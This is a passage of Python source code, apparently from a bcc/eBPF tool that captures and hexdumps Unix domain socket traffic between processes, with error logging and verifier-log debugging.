command, 1669 | peer_pid, event.peer_file, peer_command, 1670 | int(event.len), event.is_truncated) 1671 | 1672 | if not args.dir: 1673 | sys.stdout.write("====\nerror!\n") 1674 | sys.stdout.write(metadata) 1675 | sys.stdout.write("error: {}\n".format(errors_rev[error_code])) 1676 | sys.stdout.write("error_msg: 0x{:x}\n".format(int(event.error_msg))) 1677 | else: 1678 | # error log writing 1679 | error_filename = 'unixdump_error.log' 1680 | file_directory = args.dir 1681 | current_file = os.path.join(file_directory, error_filename) 1682 | mode = 'a' if os.path.exists(current_file) else 'w' 1683 | with open(str(current_file), mode) as e: 1684 | e.write('====\n') 1685 | e.write(metadata) 1686 | e.write("error: {}\n".format(errors_rev[error_code])) 1687 | e.write("error_msg: 0x{:x}\n".format(int(event.error_msg))) 1688 | if error_code == errors['NO_SLOTS_AVAILABLE']: 1689 | no_slots_count += 1 1690 | py_ring.clearitem(int(event.error_msg)) 1691 | 1692 | return 1693 | 1694 | entry = py_ring[idx][cpu] 1695 | 1696 | # need to somehow fit this appropriately 1697 | if args.debug and rec == 0: 1698 | print("used: {}".format(entry.used)) 1699 | 1700 | if entry.used == 0: 1701 | if rec == 0: 1702 | used_zero_count += 1 1703 | if args.dir: 1704 | r = print_event(cpu, data, size, rec+1) # can lock up w/ overly recursive calls 1705 | if rec == 0 and r == None: 1706 | used_zero_count -= 1 1707 | else: 1708 | if not args.dir: print("used: 0") 1709 | return r 1710 | else: 1711 | used_zero_queue.append([cpu, data, size, rec+1]) 1712 | return -1 1713 | 1714 | buffer = ctypes.string_at(entry.buffer, int(event.len)) 1715 | 1716 | if not args.dir: 1717 | sys.stdout.write("====\n") 1718 | sys.stdout.write( 1719 | format_printed_metadata(args, sun_path, ts, sock_type, is_bound, 1720 | pid, event.sk_file, command, 1721 | peer_pid, event.peer_file, peer_command, 1722 | int(event.len), event.is_truncated) 1723 | ) 1724 | ancillary_result = handle_ancillary_data(event, pid) 1725 | if ancillary_result: 1726 | print(ancillary_result) 1727 | 1728 | #todo: add type to file output 1729 | #if not args.dir: print("type: " + typ) 1730 | 1731 | print("----") 1732 | hexdump.hexdump(buffer) 1733 | else: 1734 | # dir/file name setup 1735 | current_filename = None 1736 | file_directory = args.dir 1737 | 1738 | pair_key = "{}-{}-{}-{}".format(str(pid), str(peer_pid),'0x{:x}'.format(event.sk_file), 1739 | '0x{:x}'.format(event.peer_file)) 1740 | if pair_key in pid_pair_map: 1741 | current_filename = pid_pair_map[pair_key]['fn'] 1742 | else: 1743 | rev_pkey = "{}-{}-{}-{}".format(str(peer_pid), str(pid),'0x{:x}'.format(event.peer_file), 1744 | '0x{:x}'.format(event.sk_file)) 1745 | pair_obj = { 'fn': '{}-{}'.format(pair_key, 1746 | repr(sun_path).replace('/','_'))} 1747 | pid_pair_map[pair_key] = pair_obj 1748 | pid_pair_map[rev_pkey] = pair_obj 1749 | current_filename = pid_pair_map[pair_key]['fn'] 1750 | 1751 | current_file = os.path.join(file_directory, current_filename) 1752 | mode = 'a' if os.path.exists(current_file) else 'w' 1753 | with open(str(current_file), mode) as f: 1754 | if mode == 'w': 1755 | if args.verbose: 1756 | print("writing to {} for: {}".format(current_filename, command)) 1757 | f.write( 1758 | format_written_metadata(sun_path, sock_type, is_bound, 1759 | pid, event.sk_file, command, 1760 | peer_pid, event.peer_file, peer_command) 1761 | ) 1762 | if is_bound: 1763 | f.write("{} -> {}{}\n< ".format(str(pid),str(peer_pid),bcolors.BLUE)) 1764 | f.write(hexdump.hexdump(buffer, result='return').replace('\n','\n< ')) 1765 | f.write("\n") 1766 | f.write(handle_ancillary_data(event, pid)) 1767 | else: 1768 | f.write("{} -> {}{}\n> ".format(str(pid),str(peer_pid),bcolors.RED)) 1769 | f.write(hexdump.hexdump(buffer, result='return').replace('\n','\n> ')) 1770 | f.write("\n") 1771 | f.write(handle_ancillary_data(event, pid)) 1772 | f.write('\n{}========\n'.format(bcolors.ENDC)) 1773 | py_ring.clearitem(idx) 1774 | 1775 | except KeyboardInterrupt: 1776 | dump_stats() 1777 | sys.exit(0) 1778 | 1779 | #b = BPF(text=text).trace_print() 1780 | #b = BPF(text=text, debug=0x8) 1781 | 1782 | libc = ctypes.CDLL('libc.so.6') 1783 | nstderr = libc.dup(2) 1784 | PipeInType = ctypes.c_int * 2 1785 | pipe_in = PipeInType(0,0) 1786 | p_pipe_in = ctypes.pointer(pipe_in) 1787 | libc.pipe(p_pipe_in) 1788 | log_level = args.debug_log_level 1789 | log_buf_size = args.debug_log_size 1790 | if log_level in [1, 2, 3, 5, 6, 7]: 1791 | if log_buf_size < 20000000: 1792 | log_buf_size = 20000000 1793 | fcntl.fcntl(pipe_in[1], fcntl.F_SETPIPE_SZ, log_buf_size*2) 1794 | libc.close(2) 1795 | r = libc.dup2(pipe_in[1], 2) 1796 | 1797 | pipe_err_poll = select.poll() 1798 | pipe_err_poll.register(pipe_in[0], select.POLLIN | select.POLLPRI) 1799 | 1800 | if args.debug: 1801 | #note: bcc doesn't normally pass in a log_buf, so we hook the call into its 1802 | # libbpf shim to add one 1803 | import bcc 1804 | real_bcc_func_load = bcc.lib.bcc_func_load 1805 | def fake_bcc_func_load(*argv): 1806 | if argv[8] == None and argv[9] == 0: 1807 | try: 1808 | log_buf = ctypes.create_string_buffer(log_buf_size) 1809 | nargv = list(argv) 1810 | nargv[7] = log_level 1811 | nargv[8] = log_buf 1812 | nargv[9] = log_buf_size 1813 | fd = real_bcc_func_load(*nargv) 1814 | if fd >= 0: 1815 | sys.stdout.buffer.write(log_buf.value) 1816 | sys.stdout.buffer.flush() 1817 | else: 1818 | #note: it gets printed by bcc/src/cc/libbpf.c's bpf_print_hints 1819 | pass 1820 | return fd 1821 | except Exception as e: 1822 | print(e) 1823 | return real_bcc_func_load(*argv) 1824 | bcc.lib.bcc_func_load = fake_bcc_func_load 1825 | 1826 | b = None 1827 | err_buf = b"" 1828 | e = None 1829 | try: 1830 | b = BPF(text=text) 1831 | except Exception as _e: 1832 | e = _e 1833 | err_buf_chunks = [] 1834 | while True: 1835 | poll_res = pipe_err_poll.poll(5000) 1836 | if len(poll_res) == 0: 1837 | break 1838 | err_buf_chunks.append(os.read(pipe_in[0], 8192)) 1839 | err_buf += b''.join(err_buf_chunks) 1840 | 1841 | if e != None and str(e).find("Failed to load") != -1: 1842 | if args.debug: 1843 | print("[debug] First attempt to load program failed") 1844 | os.write(nstderr, err_buf) 1845 | print(str(e)) 1846 | 1847 | err_buf = err_buf.decode('utf-8').strip() 1848 | err_lines = err_buf.split('\n') 1849 | if err_lines[-2].startswith("invalid indirect read from stack"): 1850 | if args.debug: 1851 | print("[debug] Trying again with notify_t memset") 1852 | format_args['notify_memset'] = notify_memset 1853 | text = render_code(code_template, format_args) 1854 | 1855 | e = None 1856 | nerr_buf = b"" # for extra debugging, we will probably want both error messages in case they are different 1857 | try: 1858 | b = BPF(text=text) 1859 | except Exception as _e: 1860 | while True: 1861 | poll_res = pipe_err_poll.poll(1) 1862 | if len(poll_res) == 0: 1863 | break 1864 | nerr_buf += os.read(pipe_in[0], 1024) 1865 | if args.debug: 1866 | print("[debug] Second attempt to load program (with notify_t memset) failed") 1867 | os.write(nstderr, err_buf) 1868 | print(str(_e)) 1869 | #nerr_buf = nerr_buf.decode('utf-8').strip() 1870 | 1871 | libc.close(pipe_in[1]) 1872 | libc.close(pipe_in[0]) 1873 | libc.close(2) 1874 | libc.dup2(nstderr, 2) 1875 | libc.close(nstderr) 1876 | 1877 | if e != None: 1878 | if not args.debug: 1879 | print(err_buf, file=sys.stderr) 1880 | print(str(e)) 1881 | sys.exit(1) 1882 | 1883 | py_ring = b["ring_buf"] 1884 | b["output"].open_perf_buffer(print_event, page_cnt=PAGECNT) 1885 | 1886 | #b.trace_print() 1887 | 1888 | print("Listening...") 1889 | while True: 1890 | try: 1891 | b.kprobe_poll() 1892 | except KeyboardInterrupt: 1893 | dump_stats() 1894 | sys.exit(0) 1895 | 1896 | if __name__ == '__main__': 1897 | main() 1898 | 1899 | __all__ = ["parse_args", "main"] 1900 | 1901 | --------------------------------------------------------------------------------